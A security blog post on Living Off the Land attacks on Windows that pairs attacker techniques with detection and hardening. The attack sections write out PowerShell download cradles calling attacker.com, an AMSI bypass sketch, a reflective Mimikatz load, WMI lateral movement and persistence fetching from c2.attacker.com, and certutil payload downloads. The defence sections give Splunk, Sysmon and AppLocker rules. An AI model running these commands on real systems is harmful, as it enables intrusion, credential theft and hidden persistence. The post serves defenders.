APT29 did not land on the DNC network in 2016 with custom malware. They used PowerShell Empire — a framework built entirely on Windows’ own scripting infrastructure. The SolarWinds attackers deployed TEARDROP as a memory-only shellcode loader. Carbanak stole over $1 billion from banks using WMI and PowerShell for persistence and lateral movement without dropping traditional malware files.
Living Off the Land (LOTL) attacks are not a niche technique — they are the standard operating procedure for every serious threat actor today. The fundamental insight is elegant: if you use the operating system’s own tools, your activity looks like the operating system’s own activity.
This post provides the technical depth to understand exactly what these attacks look like in execution and the detection infrastructure needed to find them.
The LOLBin Arsenal: Commonly Abused Binaries
| Binary | Primary Abuse | MITRE Technique |
|---|---|---|
powershell.exe / pwsh.exe | Download cradles, execution, C2 | T1059.001 |
certutil.exe | Base64 decode, file download | T1140, T1105 |
mshta.exe | Execute HTA/VBScript remotely | T1218.005 |
regsvr32.exe | Load COM scriptlets (Squiblydoo) | T1218.010 |
rundll32.exe | Execute DLL exports | T1218.011 |
wmic.exe | Process creation, WMI persistence | T1047 |
cmstp.exe | UAC bypass, INF execution | T1218.003 |
msiexec.exe | Remote MSI payload staging | T1218.007 |
bitsadmin.exe | Background file download | T1197 |
forfiles.exe | Command execution bypass | T1202 |
installutil.exe | Bypass AppLocker via .NET | T1218.004 |
regasm.exe | Execute .NET assemblies | T1218.009 |
odbcconf.exe | Execute DLL via ODBC config | T1218.008 |
The complete and regularly updated catalog is maintained at LOLBAS Project.
PowerShell Attack Techniques
Download Cradles
Download cradles fetch and execute remote code in memory. The following are real examples observed in threat actor campaigns:
1# Classic IEX download cradle — simplest form
2IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
3
4# Alias obfuscation — common in APT29 / Cozy Bear tooling
5$c = New-Object Net.WebClient
6$c.Proxy = [Net.WebRequest]::GetSystemWebProxy()
7$c.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
8IEX $c.DownloadString('http://attacker.com/p')
9
10# Using Invoke-WebRequest (slower but works through proxy auth)
11IEX (Invoke-WebRequest -Uri 'http://attacker.com/payload.ps1' -UseDefaultCredentials).Content
12
13# String concatenation to evade AMSI signature matching
14$u = 'http://attac' + 'ker.com/pay' + 'load.ps1'
15IEX (New-Object Net.WebClient).DownloadString($u)
16
17# Base64-encoded command (common delivery via phishing)
18powershell.exe -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQA...
19
20# Hiding with -WindowStyle Hidden -NonInteractive
21powershell.exe -WindowStyle Hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand [BASE64]
AMSI Bypass
AMSI scans PowerShell content before execution. The most reliable bypass patches the AmsiScanBuffer function in memory to return a clean result:
1# AMSI bypass via memory patch — reconstructed from public research
2# (Matt Graeber's original technique, widely copied and modified)
3# This is for educational/detection purposes; real variants use obfuscation
4
5$a = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -match 'Amsi' }
6$b = $a.GetFields('NonPublic,Static') | Where-Object { $_.Name -match 'Context' }
7$c = $b.GetValue($null)
8
9# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN (0)
10$marshal = [Runtime.InteropServices.Marshal]
11$ptr = [IntPtr]($c.ToInt64())
12$oldProtect = 0
13$VirtualProtect = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
14 (Get-ProcAddress kernel32.dll VirtualProtect), [type]
15)
16# NOTE: Modern EDR products detect this memory patching attempt via kernel callbacks
Defenders should note that EDR kernel-level callbacks (ETW, PatchGuard bypass detection) catch most in-memory AMSI bypass attempts. Enabling Windows Defender Tamper Protection prevents disabling AMSI via registry.
Invoke-Mimikatz via Reflective Loading
APT29 and other groups load Mimikatz entirely in memory using PowerShell reflection:
1# PowerShell Empire-style reflective Mimikatz load
2# Pulls PE from remote location, loads it without touching disk
3
4$bytes = (New-Object Net.WebClient).DownloadData('http://attacker.com/m.bin')
5$assembly = [Reflection.Assembly]::Load($bytes)
6$entryPoint = $assembly.GetType('mimikatz').GetMethod('sekurlsa::logonpasswords')
7$entryPoint.Invoke($null, $null)
The key operational detail: no file is written to disk. LSASS memory is accessed via the loaded .NET assembly’s own process memory calls. File-based AV sees nothing. Process-injection-aware EDR with LSASS tamper protection catches this via API hooking of OpenProcess(PROCESS_VM_READ, lsass.exe).
WMI Attack Techniques
WMI Process Creation (T1047)
1# Remote process creation via WMI — used for lateral movement
2wmic /node:192.168.1.50 /user:DOMAIN\Admin /password:Password123 process call create "powershell.exe -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://c2/p')"
3
4# Local process launch via WMI (bypasses some AV that hooks CreateProcess)
5wmic process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"
WMI Persistence (T1546.003)
WMI subscriptions are the gold standard for fileless persistence. They survive reboots and do not appear in the standard autoruns locations (registry Run keys, scheduled tasks, services):
1# Create a WMI event subscription for persistence
2# Triggers on system startup (Win32_VolumeChangeEvent or __InstanceModificationEvent)
3
4# Step 1: Create the event filter (what to watch for)
5$filterArgs = @{
6 Name = 'WindowsUpdate'
7 EventNamespace = 'root\cimv2'
8 QueryLanguage = 'WQL'
9 Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120"
10}
11$filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $filterArgs
12
13# Step 2: Create the event consumer (what to run)
14$consumerArgs = @{
15 Name = 'WindowsUpdate'
16 CommandLineTemplate = 'powershell.exe -ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2.attacker.com/implant'')"'
17}
18$consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $consumerArgs
19
20# Step 3: Bind filter to consumer
21$bindArgs = @{
22 Filter = [Ref] $filter
23 Consumer = [Ref] $consumer
24}
25New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $bindArgs
To audit existing WMI subscriptions:
1# List all WMI event subscriptions — run on all endpoints as part of threat hunt
2Get-CimInstance -Namespace root/subscription -ClassName __EventFilter |
3 Select-Object Name, Query, EventNamespace
4
5Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer |
6 Select-Object Name, CommandLineTemplate
7
8Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding
certutil Payload Staging
certutil.exe is Microsoft’s certificate management tool. It has a built-in Base64 decode capability that attackers use to unpack payloads:
1# Encode a payload for staging
2certutil -encode malware.exe malware.b64
3
4# Decode on target — attacker uploads the .b64 file, then decodes it
5certutil -decode malware.b64 malware.exe
6
7# Direct download using certutil (bypasses some proxy controls)
8certutil -urlcache -split -f "http://attacker.com/payload.exe" payload.exe
9
10# Certutil can also fetch and decode in one step
11certutil -urlcache -split -f "http://attacker.com/payload.b64" payload.b64 && certutil -decode payload.b64 payload.exe
Any execution of certutil.exe with -urlcache or -decode parameters on a workstation or server should be treated as high-priority suspicious activity. There are essentially no legitimate business reasons for a standard user or service to run these commands.
APT29 PowerShell Empire: Real-World Context
APT29 (Cozy Bear) used PowerShell Empire in the 2016 DNC breach and subsequent campaigns. Empire is a post-exploitation framework built entirely on PowerShell (Windows) and Python (Linux), designed explicitly to avoid touching disk.
Their documented tradecraft included:
- Initial access: Phishing with malicious macro that launches PowerShell cradle.
- Execution: Empire agent loaded reflectively via
IEX— no file on disk. - Persistence: WMI subscription or scheduled task launching an Empire stager.
- Lateral movement:
Invoke-Mimikatzfor credential harvesting, thenInvoke-PsExecor WMI for lateral movement. - C2: HTTP/HTTPS beaconing to compromised WordPress sites to blend into normal web traffic.
The entire chain was PowerShell — detectable only via Script Block Logging, AMSI integration, and behavioral analysis.
Detection
PowerShell Script Block Logging (Event ID 4104)
Enable via Group Policy or Registry:
# GPO Path:
# Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
# Enable: Turn on PowerShell Script Block Logging
# Registry equivalent:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockInvocationLogging /t REG_DWORD /d 1 /f
Splunk query for malicious PowerShell patterns:
index=windows EventCode=4104
(
ScriptBlockText="*IEX*" OR
ScriptBlockText="*Invoke-Expression*" OR
ScriptBlockText="*DownloadString*" OR
ScriptBlockText="*DownloadData*" OR
ScriptBlockText="*Net.WebClient*" OR
ScriptBlockText="*AmsiScanBuffer*" OR
ScriptBlockText="*sekurlsa*" OR
ScriptBlockText="*Mimikatz*" OR
ScriptBlockText="*-EncodedCommand*"
)
| rex field=ScriptBlockText "(?P<url>https?://[^\s'\"]+)"
| table _time, host, user, ScriptBlockText, url
| sort - _time
Sysmon Event IDs for LOLBin Detection
Configure Sysmon with the SwiftOnSecurity template and monitor:
| Event ID | Description | LOLBin Detection |
|---|---|---|
| 1 | Process Create | certutil with -urlcache, mshta with http://, regsvr32 with /s /u /i:http |
| 3 | Network Connection | powershell.exe, wscript.exe, mshta.exe making outbound connections |
| 7 | Image Load | Unsigned DLLs loaded by signed processes |
| 11 | File Create | Executable files created in temp/user directories |
| 12/13 | Registry Create/Set | WMI subscription registry artifacts |
| 20/21 | WMI Event Filter/Consumer | Direct WMI persistence detection |
Sysmon config snippet to catch certutil download:
1<ProcessCreate onmatch="include">
2 <CommandLine condition="contains">certutil</CommandLine>
3 <CommandLine condition="contains">urlcache</CommandLine>
4</ProcessCreate>
5
6<ProcessCreate onmatch="include">
7 <Image condition="end with">mshta.exe</Image>
8 <CommandLine condition="contains">http</CommandLine>
9</ProcessCreate>
10
11<ProcessCreate onmatch="include">
12 <Image condition="end with">regsvr32.exe</Image>
13 <CommandLine condition="contains">/i:http</CommandLine>
14</ProcessCreate>
Splunk SPL: Detect WMI persistence creation (Sysmon Events 20/21):
index=sysmon (EventCode=20 OR EventCode=21)
| eval event_type = case(
EventCode=20, "WMI Event Filter Created",
EventCode=21, "WMI Event Consumer Created"
)
| table _time, host, user, event_type, Name, Query, Destination
| sort - _time
WMI Activity Log (Event IDs 5857/5860/5861)
Enable via: wevtutil sl Microsoft-Windows-WMI-Activity/Operational /e:true
index=windows source="Microsoft-Windows-WMI-Activity/Operational"
(EventCode=5857 OR EventCode=5860 OR EventCode=5861)
| table _time, host, EventCode, Message
Defense and Mitigation
1. Windows Defender Application Control (WDAC)
WDAC is the strongest control for LOLBin abuse. When a WDAC policy is in place, execution of unsigned scripts and unauthorized executables is blocked at the kernel level:
1<!-- WDAC Policy snippet — enforce Constrained Language Mode for PowerShell -->
2<SigningScenarios>
3 <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="Auto generated policy on...">
4 <ProductSigners>
5 <AllowedSigners>
6 <!-- Allow Microsoft-signed binaries -->
7 <AllowedSigner SignerId="ID_SIGNER_WINDOWS" />
8 </AllowedSigners>
9 </ProductSigners>
10 </SigningScenario>
11</SigningScenarios>
Deploy via MDM/Intune or Group Policy. Start in Audit mode before switching to Enforce mode to catalog legitimate software.
2. PowerShell Constrained Language Mode
With an active WDAC policy, PowerShell automatically enters CLM. To test:
1# Check current language mode
2$ExecutionContext.SessionState.LanguageMode
3# Returns: ConstrainedLanguage (if WDAC policy active)
4# Returns: FullLanguage (if no policy — vulnerable)
5
6# CLM blocks:
7# - Add-Type
8# - New-Object with COM/interop
9# - [Reflection.Assembly]::Load()
10# - Invoke-Expression with certain .NET types
3. AppLocker Rules for LOLBin Restriction
Where WDAC is not yet deployed, AppLocker can restrict specific high-risk LOLBins:
1<!-- AppLocker rule: block certutil.exe for standard users -->
2<FilePathRule Id="..." Action="Deny" UserOrGroupSid="S-1-1-0" Description="Block certutil abuse">
3 <Conditions>
4 <FilePathCondition Path="%SYSTEM32%\certutil.exe" />
5 </Conditions>
6</FilePathRule>
7
8<!-- Block mshta.exe -->
9<FilePathRule Id="..." Action="Deny" UserOrGroupSid="S-1-1-0" Description="Block mshta abuse">
10 <Conditions>
11 <FilePathCondition Path="%SYSTEM32%\mshta.exe" />
12 </Conditions>
13</FilePathRule>
Note: AppLocker DLL rules carry a performance penalty. Apply selectively.
4. AMSI Hardening
- Enable Tamper Protection in Windows Defender to prevent AMSI from being disabled via registry or process injection.
- Use an EDR with kernel-level AMSI integration (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint) that detects
AmsiScanBufferpatch attempts via ETW callbacks. - Deploy Windows Defender Credential Guard to protect LSASS memory from reflective injection reads.
5. PowerShell v2 Removal
PowerShell v2 lacks AMSI integration and Script Block Logging. Remove it:
1# Check if PowerShell v2 is enabled
2Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
3
4# Disable PowerShell v2
5Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
6Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
Related Attacks in This Series
- Ransomware Double Extortion: Encrypt and Leak
- Pass-the-Hash: Why the Hash Is As Good As the Password
- Kerberoasting: Stealing Service Tickets to Crack Passwords
- Supply Chain Attack: How SolarWinds Was Compromised
- Active Directory Persistence: 5 Ways Attackers Stay
References
- MITRE ATT&CK T1059.001 — PowerShell
- MITRE ATT&CK T1047 — Windows Management Instrumentation
- MITRE ATT&CK T1218 — System Binary Proxy Execution
- LOLBAS Project — Living Off the Land Binaries, Scripts and Libraries
- FireEye — APT29 Cozy Bear WMI Persistence Analysis
- Microsoft — Windows Defender Application Control Overview
- SwiftOnSecurity Sysmon Configuration
- NSA/CISA — Keeping PowerShell: Security Measures to Use and Embrace





